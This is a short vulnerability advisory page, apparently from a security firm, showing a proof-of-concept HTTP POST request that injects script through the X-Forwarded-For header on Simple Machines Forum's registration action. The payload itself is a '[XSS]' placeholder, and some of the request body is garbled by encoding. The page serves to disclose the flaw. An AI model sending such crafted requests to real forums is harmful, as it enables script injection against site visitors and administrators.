PoC/Exploit for X-Forwarded-For XSS in Simple Machines Forum - SMF
Published Proof of Concept code - X-Forwarded-For XSS in Simple Machines Forum - SMF.
- Description
- Available
- Solution
- Not available - check vendor's website
Example of HTTP POST Query:
- POST /smf/index.php?PHPSESSID=fa9c180d0a3f5fae0de2d56ba6fce944&action=register2 HTTP/1.0
- Host: [host]
- X-Forwarded-For: anyIP[XSS]
- Cookie: PHPSESSID=fa9c180d0a3f5fae0de2d56ba6fce944
- Content-Length: 81
- user=m&email=m@m.com&passwrd1=m&passwrd2=m®agree=1®Submit=Register
Order PHP Code Analysis made by eVuln team
Defend against hacker attacks by source code audit of your website made by our team.The order will be done by specialists in website security.


